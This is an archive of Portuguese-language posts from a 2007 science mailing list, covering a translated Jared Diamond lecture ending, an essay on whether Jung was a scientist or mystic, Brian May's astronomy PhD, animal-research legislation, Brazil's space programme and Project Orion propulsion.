Finalmente, a tecnologia não só tem que ser adotada; ela também tem que ser mantida. Todas as sociedades humanas passam por tendências nas quais elas ou adotam práticas de pouca utilidade ou então abandonam práticas de considerável utilidade. Sempre que tais tabus economicamente sem sentido surgem em uma área com muitas sociedades humanas rivais, apenas algumas sociedades irão adotar o tabu em uma dada época. Outras sociedades reterão a prática útil, e ou sobrepujarão as sociedades que a perderam ou então lá estarão como modelos para que as sociedades com tabus deplorem seu erro e readquiram a prática. Se os tasmanianos tivessem permanecido em contato com os australianos do continente, poderiam ter redescoberto o valor e as técnicas da pesca e da fabricação de ferramentas de ossos que haviam perdido. Mas isto não poderia acontecer no completo isolamento da Tasmânia, onde as perdas culturais se tornaram irreversíveis.

Em resumo, a mensagem das diferenças entre as sociedades da Tasmânia e da Austrália continental parece ser a seguinte: Mantendo-se todos os outros fatores iguais (NT - "All other things being equal", o conhecido ceteris paribus), a taxa de invenção humana é mais rápida, e a taxa de perda cultural é mais lenta, em áreas ocupadas por muitas sociedades rivais que tenham muitos indivíduos e que estejam em contato com sociedades de outros lugares. Se esta interpretação estiver correta, então é provável que tenha uma importância mais ampla. Provavelmente ela fornece parte da explicação de porque os nativos australianos, no menor e mais isolado continente do mundo, permaneceram caçadores/coletores da Idade da pedra, enquanto povos de outros continentes estavam adotando a agricultura e o metal. Também é provável que contribua para as diferenças que já discuti entre os fazendeiros da África subsahariana, os fazendeiros das Américas, muito maiores, e os fazendeiros da ainda maior Eurásia.

Naturalmente, há muitos fatores importantes na história do mundo que não tive tempo de discutir em 40 minutos, e que discuto em meu livro (NT - Guns, germs, and steel: the fates of human societies). Por exemplo, eu disse pouco ou nada sobre a distribuição de plantas domesticadas (três capítulos); sobre a maneira precisa como as complexas instituições políticas e o desenvolvimento da escrita, da tecnologia e da religião organizada dependem da agricultura e da pecuária; sobre as fascinantes razões para as diferenças, na Eurásia, entre a China, a Índia, o Oriente Próximo e a Europa; e sobre os efeitos dos indivíduos e das diferenças culturais, na história, que não estão relacionadas ao meio ambiente. Mas agora é hora de resumir o significado total desta viagem turbilhonante pela história humana, com seus mal-distribuídos germes e armas.

O padrão mais amplo da história - a saber, as diferenças entre as sociedades humanas em diferentes continentes - parece-me ser atribuível a diferenças entre os ambientes continentais, e não a diferenças biológicas entre os próprios povos. Em particular, a disponibilidade de espécies vegetais e animais selvagens adequadas à domesticação, e a facilidade com que estas espécies puderam se disseminar não encontrando climas inadequados, contribuiram decisivamente para as taxas variáveis de crescimento da agricultura e da pecuária, que por sua vez contribuiram decisivamente para o aumento dos números das populações humanas, das densidades populacionais e dos excedentes de alimento, que por sua vez contribuiram decisivamente para o desenvolvimento de doenças infecciosas epidêmicas, a escrita, a tecnologia e a organização política. Além disso, as histórias da Tasmânia e da Austrália nos advertem que as diferentes áreas e os diferentes isolamentos dos continentes, determinando o número de sociedades rivais, podem ter sido outro importante fator no desenvolvimento humano.

Enquanto biólogo que pratica ciência experimental em laboratório, sei que alguns cientistas podem se inclinar a descartar estas interpretações históricas como se fossem uma especulação improvável, porque elas não estão fundamentadas em experimentos replicados em laboratório. A mesma objeção pode ser levantada contra qualquer das ciências históricas, incluindo astronomia, biologia evolutiva, geologia e paleontologia. É claro que a objeção pode ser levantada contra todo o campo da história, e a maior parte do campo das ciências sociais. É por esta razão que não ficamos confortáveis ao considerarmos a história como uma ciência. Ela é classificada como uma ciência social, o que é considerado não muito científico.

Mas lembre-se que a palavra "científico" não se deriva da palavra latina para "experimento replicado em laboratório", mas ao invés, da palavra latina "scientia", para "conhecimento". Em ciência, nós procuramos o conhecimento através de quaisquer metodologias que estejam disponíveis e sejam apropriadas. Existem muitos campos que ninguém hesita em considerar como ciência, mesmo que os experimentos destes campos replicados em laboratório sejam imorais, ilegais ou impossíveis. Nós não podemos manipular algumas estrelas enquanto mantemos as outras estrelas como controles; nós não podemos iniciar e interromper idades de gelo, e não podemos fazer experimentos com projeto e desenvolvimento de dinossauros. Mesmo assim, podemos ainda obter consideráveis conhecimentos nestes campos históricos por outros meios. Então poderíamos certamente ser capazes de entender a história humana, porque a introspecção e as obras escritas preservadas nos dão muito mais conhecimento de como eram os humanos antigos do que como eram os antigos dinossauros. Por esta razão estou otimista quanto ao fato de que eventualmente poderemos chegar a explicações convincentes para estes padrões mais amplos da história humana.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Jung: Cientista ou Místico ?
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 12/08/2007 14:45

Jung: Cientista ou Místico ?


http://www.roadnet.com.br/jung/revista/index.htm
Francisco Rodrigues de Freitas é psicólogo junguiano e Licenciado em
Filosofia Membro do Círculo Junguiano de Fortaleza

Carl Gustav Jung tem sido considerado em determinados
círculos positivistas como místico e não como cientista e a sua
teoria psicológica tida como uma visão mística da alma humana.

Místico não é uma palavra de sentido unívoco. Tem uma
variedade ampla de significados de acordo com as perspectivas
teóricas e vivenciais de quem a utiliza. O Vocabulário Técnico de
Filosofia de André Lalande assinala quatro acepções para o termo que
é empregado em todos os sentidos da palavra misticismo.
Resumidamente:


Sentido próprio: crença na união íntima e direta do espírito
humano com o princípio fundamental do ser.

Disposições afetivas, intelectuais e morais ligadas a esta crença,
cujo fenômeno essencial seria o êxtase, estado em que a alma,
rompendo toda comunicação com o mundo exterior, comunica-se
diretamente com um objeto interno que é o ser perfeito, o ser
infinito, Deus.

Um dos quatro grandes sistemas filosóficos que se sucederam na
história do pensamento humano segundo o qual o progresso da
reflexão filosófica tem por finalidade conciliar cada vez mais
completamente. Resulta de uma priorização do sentimento e da
imaginação em prejuízo da razão.

O termo misticismo é também aplicado com conotação pejorativa às
crenças ou doutrinas que se baseiam mais no sentimento e na
intuição do que na observação e no raciocínio e também às crenças e
doutrinas que rejeitam ou desvalorizam a realidade sensível em favor
de uma realidade suprasensível.
Nota-se, quando essas considerações são feitas sobre Jung, que a
palavra místico não é usada para reconhecer-lhe algum atributo no
sentido religioso ou espiritual, assim como quando alguém se refere a
São João da Cruz, Santa Teresa D' Ávila ou Tomas Merton como
místicos, mas, na maioria das vezes, o termo é usado com a conotação
pejorativa, conforme referenciada por Lalande, de modo a
desqualificar a sua teoria psicológica, retirando-lhe a condição de
científica.

Freud perguntando-se em 1932 sobre o significado das palavras
misticismo e ocultismo, respondeu



"Os senhores não devem esperar que eu faça alguma
tentativa de abarcar essa mal-circunscrita região com definições.
Todos nós sabemos, de um modo genérico e indefinido, o que essas
palavras significam para nós. Referem-se a alguma espécie de
'outro mundo',situado além deste mundo visível, governado por
leis imutáveis, construído para nós pela ciência"1.
A conotação mística atribuída à teoria psicológica de Jung
geralmente é feita tendo como contraponto a teoria psicanalítica que,
segundo esses críticos, teria permanecido dentro do modelo da
ciência moderna. É por esse caminho que vamos iniciar a nossa
reflexão sobre o assunto.

A ciência moderna nasceu com Galileu, que abandona quaisquer
considerações qualitativas no exame da realidade. A física passa a
apoiar-se em relações quantitativas e mensuráveis, tornando-se o
paradigma da ciência moderna que, influenciada pelo racionalismo
cartesiano, consolida-se com Isaac Newton. A mecânica newtoniana está
cèntrada na investigação da natureza através das relações de
movimento. Espaço e tempo são consideradas entidades absolutas que
servem de estofo para fenômenos cientificamente observáveis. Esse
paradigma definiu o modelo de cientificidade que foi ao longo do
tempo foi igualmente adotado pelas ciências biológicas, humanas e
sociais.

Na sua formação teórica, Sigmund Freud sofreu o impacto do
naturalismo de Darwin e do positivismo de Bruck, este último, aluno
de Helholtz, pioneiro na tentativa de aplicar os princípios da física
no estudo da fisiologia e psicologia. Essas influências formaram a
base na qual Freud assentou o seu método de estudo e pesquisa, dentro
do quadro teórico da ciência moderna, fato que influiu de modo
marcante na construção teórica da psicanálise que nasce causal,
mecanicista e naturalista. Essas características permanceram estáveis
ao logo o seu desenvolvimento até a revolução lacaniana, que
introduziu profundas modificações na estrutura teórica da
psicanálise, que deixamos de comentar por ser assunto que
ultrapassaria as dimensões deste artigo.

Carl Gustav Jung chega ao mundo da ciência com um estofo
cultural diferente. Durante a sua juventude, dedicou-se à leitura de
obras de filosofia, encontradas principalmente na biblioteca de seu
pai. Johann Paul Jung, pastor protestante da igreja reformada. Essas
leituras propiciaram-lhe contato com a filosofia de Kant,
Schopenhauer e Nietzsche, alicerçado nas quais desenvolveu uma
cosmovisão que lhe serviu de contraponto às idéias que dominavam o
mundo científico com o qual se defrontou. Foi essa cosmovisão,
fundada no idealismo alemão, que o impediu de assumir uma posição
causal e mecanicista, naturalista e reducionista no exame da
realidade psíquica.

Contrapondo-se ao paradigma científico dominante, Jung apoiou
o seu método de investigação psíquica na perspectiva finalista que,
como se disse acima, tinha sido abolido das ciências desde Galileu,
mas remanescia nas ciências biológicas, para as quais o enfoque
causal-mecanicista nem sempre produzia resposta satisfatória.

A questão da causalidade versus finalismo remonta ao início
da filosofia grega, aos pré-socráticos. A dificuldade ou
impossibilidade de diálogo entre essas perspectivas teóricas
permaneceu praticamente inalterada no decorrer da história do
pensamento humano. Nessa trajetória, a ciência oscilou entre os dois
pólos, conforme o seu objeto de estudo e questões ideológicas
pertinentes. Enquanto a filosofia e a teologia eram as ciências mais
importantes, predominava a orientação finalista ou teleológica de
inspiração metafísica. Na medida em que a physis ocupa esse lugar de
proeminência, o método sustenta-se na causalidade cujo objetivo é
procurar identificar as causas dos fenômenos observados. Este é o
modelo da ciência moderna.

Por isso, ao preferir a abordagem finalista no estudo dos
fenômenos psíquicos, Jung rompe com o paradigma científico vigente,
expondo-se a críticas daqueles que, permanecendo fiéis ao
determinismo mecanicista e causal, questionam a cientificidade dos
seus estudos e pesquisas, pois o finalismo é tido pela ciência
moderna como uma visão mística ou religiosa da realidade. De fato, o
finalismo jamais conseguiu desvencilhar-se da necessidade intrínseca
de um demiurgo que cria o Cosmos e estatui o caminho a ser seguido e
o objetivo a ser alcançado na evolução cósmica. Dessa forma, por
conta de sua abordagem finalista, a Jung é atribuída uma atitude
mística diante do psiquismo humano.

Nada obstante, Jung fez questão de, ao longo de sua fecunda
produção teórica, manter-se distante de quaisquer abordagens
metafísica do fenômeno psíquico.


"Qualquer pensador honesto é obrigado a reconhecer a
insegurança de todas as posições metafísicas, em especial a
insegurança de qualquer conhecimento de fé. É também obrigado a
reconhecer a
natureza insustentável de quaisquer afirmações metafísicas e admitir
que não existe uma possibilidade de provar que a inteligência
humana é capaz de arrancar-se a si mesma do tremendal,
puxando-se pelos próprios cabelos. Por isso, é muito duvidoso
saber se o espírito
humano tem condições de provar a existência de algo
transcendental."2

Em outro ponto afirmou:


"Embora não saibamos nem pretendamos saber o que é
'psique' em si, podemos entretanto ocupar-nos com o fenômeno
'espírito'. Não afirmamos que o espírito seja uma entidade metafísica
ou que
exista alguma ligação entre o espírito individual e um espírito
universal (Universal Mind) hipotético. Por isso, nossa psicologia
é uma ciência dos fenômenos puros, sem implicações metafísicas de
qualquer ordem."3

Jung adota o empirismo e a fenomenologia na abordagem do fato
psíquico, sustentando o seu trabalho no método hermenêutico, na
trajetória definida por Wilhelm Dilthey que aponta a hermenêutica
como o caminho metodológico a ser seguido pelas ciências humanas.

Por isso, o fato de ter-se definido pelo finalismo não
significa que Jung tenha assumido postura irracional ou mística no
seu trabalho. O seu racionalismo não é cartesiano, mas sustenta-se na
razão hermenêutica que se justifica na ordem da estrutura
interpretativa, fundada em metodologia própria - a análise simbólica.

Desse modo, é válido dizer que Jung, nada obstante a sua
contraposição aos postulados do cientificismo positivista, mantém-se
nos limites epistemológicos da ciência ocidental.

A idéia de que Jung foi um místico tem sido fortalecida pelo
atitude de grupos espiritualistas e religiosos que geralmente
procuram na teoria junguiana a fundamentação do seu corpo teórico. No
entanto, atribuir à psicologia analítica de Jung conotação
espiritualista, mística ou religiosa revela desconhecimento dos
alicerces epistemológicos em que se funda a sua construção teórica.

De fato, Jung nutria inequívoco interesse pelas questões
espirituais e religiosa, cuja problemática foi sempre destacada em
sua obra. O fazia, no entanto, como fenômenos psíquicos e não quanto
à pertinência dos seus conteúdos doutrinários, no tocante a verdade
ou validade de afirmações ou dogmas de quaisquer confissões
rteligiosas.

Em certo momento de sua obra ele afirmou:



"Na medida em que o fenômeno religioso apresenta um
aspecto psicológico muito importante, trato o tema dentro de
uma perspectiva exclusivamente empírica: limito-me, portanto, a
observar os fenômenos e me abstenho de qualquer abordagem metafísica
ou filosófica. Não nego a validade de outras abordagens, mas
não posso pretender a uma correta aplicação desses
critérios."4
Jung percebia que o homem moderno ansiava por restaurar a
dimensão espiritual perdida e considerava que muito do sofrimento
psíquico que as pessoas padeciam tinha origem na perda da dimensão
religiosa de suas vidas.



"...há trinta anos minha clientela provém, um pouco,
de quase todos os países civilizados do mundo.... De todos os
meus pacientes que tinham ultrapassado o meio da vida, isto é, que
contavam mais de
trinta e cinco anos, não houve um só cujo problema mais
profundo não fosse o de uma atitude religiosa. Aliás, todos
estavam doentes, em última análise, por terem perdido aquilo
que as religiões vivas ofereciam em todos os tempos, a seus adeptos, e
nenhum se curou sem ter realmente readquirido uma atitude
religiosa própria, o que, evidentemente, nada tinha a ver com
a questão de confissão
( credo religioso) ou com a pertença a uma determinada igreja."5
Jung trata aqui da questão do significado como fator estruturante
da personalidade humana.

Ao examinar a atitude religiosa do homem, Jung identifica fatos
que apontam para a existência de uma função religiosa natural no
inconsciente, resultando em que a religião decorre de disposições
arquetípicas. Ele chega a comparar os dogmas religiosos com os
arquétipos. Com isso, resgata a religião do âmbito da patologia em
que Freud a colocara ao atribuir às manifestações religiosas caráter
neurótico obsessivo.

Dessa forma, ao considerar a espiritualidade, o misticismo e
a religião como realidades psíquicas não patológicas, Jung introduz
no estudo do fenômeno religioso instrumentos de análise que permitem
o exame do tema de uma perspectiva psicológica, sem assumir qualquer
postura de validação de algum credo.



"Como médico e especialista em doenças nervosas e
mentais, não tomo como ponto de partida qualquer credo
religioso, mas sim a psicologia do homo religiosus, do homem que
considera e observa cuidadosamente certos fatores que agem sobre
ele e sobre seu estado geral."6
Jung considerava a psique como uma totalidade e que todas as
construções humanas deveriam ser vistas sob essa perspectiva. Algumas
delas são continentes para acolhimento de conteúdos que não podendo
ser assimilados pela consciência como pertencentes à própria psique
individual são projetados em espaços, idéias, pessoas ou objetos. Em
outros momentos, essas construções são mecanismos ilusórios para
escapar da própria alma.



"O homem precisa apenas tomar consciência de que está
contido em sua própria psique e que nem mesmo em estado de
demência poderá ultrapassar estes limites."7


NOTAS E REFERÊNCIAS BIBLIOGRÁFICAS

1. Freud, Sigmund.(Conferência XXX, Sonhos e Ocultismo)
Vol XXII da Edição Standard das Obras
Completas
Rio de Janeiro: Imago, 1976
2 Jung, C.G. Psicologia da religião ocidental e oriental. P. 481
3 _________. Op.cit. P. 482
4 _________. Op.cit. P.2
5 _________. Op.cit. P.335/336
6 _________. Op.cit. P 5.
7 _________. Op.cit.. P. 484

BIBLIOGRAFIA
Clarke, J.J. Em busca de Jung
São Paulo: Ediouro, 1993.

Fordham, Frieda.Introdução à psicologia de Jung
São Paulo: Verbo, 1990 .

Grinberg, Luiz Paulo. Jung: o homem criativo
São Paulo: FTD, 1997

Jung. C.G. Homem e seus símbols (O).
Rio de Janeiro: Editora Nova Fronteira.

_______. Memórias, sonhos e reflexões.
Rio de Janeiro: Editora Nova Fronteira, 1989.

_______. Psicologia da religião ocidental e oriental
Petrópolis: Vozes, 1983.

Lalande, André. Vocabulário Técnico de Filosofia
São Paulo: Martins Fontes, 1993.

Von Franz . Marie-Louise. C. G. JUNG: Seu mito em nossa época.
Marie-Louise São Paulo: Cultrix, 1992


SUBJECT: RES: [ciencialist] Músico Astrônomo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/08/2007 16:57

Eu também torço. E tenho certeza de que, se retomou a trilha inicial, é em
razão não só de se sentir tecnicamente capacitado, como ter capacidade para
enfrentar as feras da bancada de exames, bem como para tocar o barco. Meu
comentário é mais de admiração, ante o inusitado. Artista e cientista. Bela
combinação.

Só espero que a tese dele seja disponibilizada, após.



Sds

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: sábado, 11 de agosto de 2007 23:15
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Músico Astrônomo



Estou torcendo por Brian May. Ele não é o maior guitarrista que já existiu
(a liderança é disputada por Hendrix e Clapton, com o primeiro em franca
vantagem), mas o som dele faz muito mais parte da minha geração. Se tudo der

certo, ele poderá envengar o título de "maior guitarrista do mundo a ser
simultaneamente PhD em astronomia"...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo

Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes

teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.

03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos

Stan Honda/AFP

Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)

O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de

Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre

foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos

logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Músico Astrônomo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/08/2007 17:01

Ricardo,

Rapaz, bela pesquisa, e igual resultado.



Sds,

Victor



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Ricardo Soares Vieira
Enviada em: sábado, 11 de agosto de 2007 20:57
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Músico Astrônomo



É realmente fantástico, e fico muito feliz, pois é meu guitarrista
favorito...
Para complementar a mensagem, abaixo deixo uma pequena biografia de
Brian May, relacionado a sua carreira academica, tirada do wikipedia:

http://en.wikipedia.org/wiki/Brian_May (fonte)

*******************

May was born in Hampton, in Middlesex, and attended Hampton Grammar
School (now Hampton School). He went on to study at the Imperial
College London departments of Physics and Mathematics, and was part
way through a Ph.D. programme at Imperial College, studying reflected
light from interstellar dust and the velocity of dust in the plane of
the Solar System, when Queen became successful. He abandoned his
astrophysics doctorate - temporarily, as it later turned out - but did
co-author two scientific research papers: MgI Emission in the
Night-Sky Spectrum[8] and An Investigation of the Motion of Zodiacal
Dust Particles (Part I)[9], which were based on Brian's observations
in Tenerife. As of August 2007, he has submitted his Ph.D. thesis, and
is awaiting review. [10] He was awarded the honorary degree of Doctor
of Science (D.Sc.) in November 2002 by the University of
Hertfordshire, although it is not customary in the United Kingdom for
honorary doctors to use the title. Most recently, he was the co-author
of "Bang! – The Complete History of the Universe" with Patrick Moore
and Chris Lintott, which was published on October 23, 2006.

******************

abaixo os links dos textos mencionados acima:

http://cdsads.u-strasbg.fr/cgi-bin/nph-iarticle_query?bibcode=1974MNRAS.166.
.439H
<http://cdsads.u-strasbg.fr/cgi-bin/nph-iarticle_query?bibcode=1974MNRAS.166
..439H&data_type=PDF_HIGH&type=PRINTER&filetype=.pdf>
&data_type=PDF_HIGH&type=PRINTER&filetype=.pdf
http://www.nature.com/nature/journal/v240/n5381/abs/240401a0.html

Abraços,

Ricardo S. Vieira

--- Em ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> , "J.Victor" <j.victor.neto@...>
escreveu
>
>
> Olá, todos,
>
> Nunca é tarde demais. Eis o que mostra Brian May.
> Passou parte de sua junventude "dando duro" como guitarrista.
> A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
> No caso a astronomia. Só quero saber dos resultados a que chegará a
banca examinadora.
> É bastante curiorioso: nunca haver se afastado da astronomia e seus
suportes teóricos. Curioso e inusitado.
> Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no
mister.l
> O cara deve o "tampa de crush".
>
> Sds,
> Victor.
>
>
>
> 03/08/2007 - 14h41
> Guitarrista do Queen entrega tese de PhD após 36 anos
>
>
> Stan Honda/AFP
>
>
> Guitarrista do Queen, Brian May durante show no Rock and Roll
Hall of Fame, em Nova York, EUA (2001)
>
>
>
> O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à
banda Queen.
>
> O músico fez trabalhos de observação astronômica recentemente em
Tenerife, nas Ilhas Canárias (Espanha), onde estudou a formação de
"nuvens de poeira zodiacal".
>
> O assunto forma a base da tese de 48 mil palavras para o Imperial
College de Londres, onde May - de 60 anos - estudava antes de se
juntar ao Queen.
>
> "Foi o maior período sábatico já registrado. Na época, foi uma
decisão difícil deixar meus estudos pela música", disse o guitarrista.
>
> "Estou muito orgulhoso por estar aqui hoje", acrescentou.
"Astronomia sempre foi meu interesse." May entregou a tese, chamada
"Velocidades Radiais na Nuvem de Poeira Zodiacal", para o chefe de
astrofísica do Imperial College, o professor Paul Nandra.
>
> O guitarrista deve discutir a tese com um painel de examinadores no
dia 23 de agosto, de acordo com seu porta-voz. Os resultados deverão
ser conhecidos logo depois desta data.
>
> "Se eu fracassar, será grande", disse May. "Será um fracasso muito
público com toda esta divulgação." O guitarrista também prepara um
concerto para marcar a inauguração de um telescópio em um observatório
astronômico em Tenerife, onde completou os estudos em julho.
>
> "Não tenho dúvidas de que Brian May teria tido uma brilhante
carreira em ciências, se tivesse completado seu PhD em 1971", disse o
astrofísico Garik Israelian, que trabalhou com May em Tenerife.
>
> "No entanto, como fã do Queen, fico feliz que ele tenha deixando a
ciência temporariamente", acrescentou.
>
> May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o
Queen.
>
> Recentemente, o guitarrista publicou um livro de astronomia em
parceria com o apresentador de um programa da televisão britânica
Patrick Moore.
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] Projeto limita uso de cobaias e cria polêmica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/08/2007 22:39

Deputado Ricardo Tripoli quer restringir uso de animais em pesquisas.
Mudança pode impedir aprovação de remédios e vacinas para seres humanos.
http://g1.globo.com/Noticias/Ciencia/0,,MUL86735-5603-4167,00.html
----------------
[]s,

Roberto Takata



SUBJECT: Re: Colonizando o Universo com bombas nucleares
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/08/2007 22:46

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> Colonizando o Universo com bombas
nucleares<http://100nexos.com/arquivo/235>

Isto daí funciona no espaço? Não precisa de atmosfera?

[]s



SUBJECT: Re: Foi para o espaço
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/08/2007 23:23

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Foi para o espaço, editorial de "O Estado de SP"
[...]
> A serem procedentes as reclamações e denúncias dos
> pesquisadores, a bagunça que é a marca do governo Lula chegou ao
> espaço.
> (O Estado de SP, 31/7)

Há *muitas* coisas a se criticar no "guvernu" do cefalópodo, mas o
Estadão força a barra ao atribuir a Lula as mazelas do programa
espacial brasileiro. Pra quem tem um pouco de memória, é fácil ver q
não é de 2002 pra cá q a coisa piorou - *sempre* foi complicado.

Lembram-se de 1999? Um VLS q lançaria o satélite Saci-1 tb explodiu
(teve seu lançamento abortado por falha no sistema de navegação).

Lula tem culpa de *continuar* a contingenciar as verbas já reduzidas
do programa - embora possamos discutir as questões prioritárias de C&T
(ou mm dentro da área aeroespacial). Mas o jornalão paulistano fez jus
ao papo da tal "mídia golpista" inventada pelos esquerdistas mais
empedernidos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] Projeto limita uso de cobaias e cria polêmica
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 01:01

cientistas são bonzinhos...

Em 12/08/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> Deputado Ricardo Tripoli quer restringir uso de animais em pesquisas.
> Mudança pode impedir aprovação de remédios e vacinas para seres humanos.
> http://g1.globo.com/Noticias/Ciencia/0,,MUL86735-5603-4167,00.html
> ----------------
> []s,
>
> Roberto Takata
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Colonizando o Universo com bombas nucleares
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 01:17

On 8/12/07, César A. K. Grossmann <cesarakg@gmail.com> wrote:
> > Colonizando o Universo com bombas
> nucleares<http://100nexos.com/arquivo/235>
>
> Isto daí funciona no espaço? Não precisa de atmosfera?

Funciona no vácuo também.

O genial é que os próprios explosivos químicos (usados para comprimir
e iniciar as reações nucleares por implosão), depois de iniciada a
reação nuclear, se tornam o propelente!

No documentário, George Dyson menciona que no projeto Orion, o pai
dele, o físico Freeman Dyson chegou a fazer cálculos em que para ir a
Plutão e voltar, as espaçonaves poderiam coletar gelo lá por Plutão
apenas como propelente, reforçando o impulso gerado pelas explosões
nucleares.

Outro detalhe que não comentei no post é que as explosões nucleares
projetadas em Orion tinham um formato cilíndrico. Por hidrodinâmica e
afins modelaram o formato do propelente e do combustível nuclear de
forma que a explosão fosse cilíndrica (e não esférica) e a
aproveitsassem melhor para impulsionar as naves.

A propulsão por pulsos nucleares realmente é a forma mais eficiente de
propulsão espacial já concebida, e a única que torna viagens
interplanetárias em larga escala, bem como viagens interestelares,
algo plausível.

Abraços,

Mori
http://100nexos.com
http://forgetomori.com


SUBJECT: Re: [ciencialist] Rock dos componentes eletrônicos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/08/2007 01:38

Obrigado, JV!

Uma pena que os posts mais visitados do blog continuam sendo o da
bunda da Jessica Alba e a Angelina Jolie adolescente! :-)

Mas a idéia é agradar o cérebro também.

Abraços,

Mori

On 8/11/07, J.Victor <j.victor.neto@uol.com.br> wrote:
> Kentaro,
>
> Muito boas as informações a seguir:
>
> O sucessor do Hubble: telescópio especial James
> Webb<http://100nexos.com/arquivo/56>Planejado para ser lançado em
> 2013, o tele...
> Tubo de Rubens e geladeira de Einstein <http://100nexos.com/arquivo/7> Faça
> uma série de furos em um tubo,...
>
> Não conhecia. Aliás, como boa parte dos sites que encontra e disponibiliza
> por aqui.
>
> Sds,
>
> Victor.
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Kentaro Mori
> Enviada em: sábado, 11 de agosto de 2007 04:47
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Rock dos componentes eletrônicos
>
> Rock dos componentes eletrônicos <http://100nexos.com/arquivo/240>
> Assista ao vídeo <http://100nexos.com/arquivo/240>
>
> "Psyché Rock" de Pierre Henry: não poderia ser mais geek, com capacitores,
> resistores e até válvulas e afins voando. A música e o clipe são de 1967
> (!), e inspiraram o tema de
> Futurama<http://www.youtube.com/watch?v=ZAnLXpFwbZI
> <http://www.youtube.com/watch?v=ZAnLXpFwbZI&mode=related&search=>
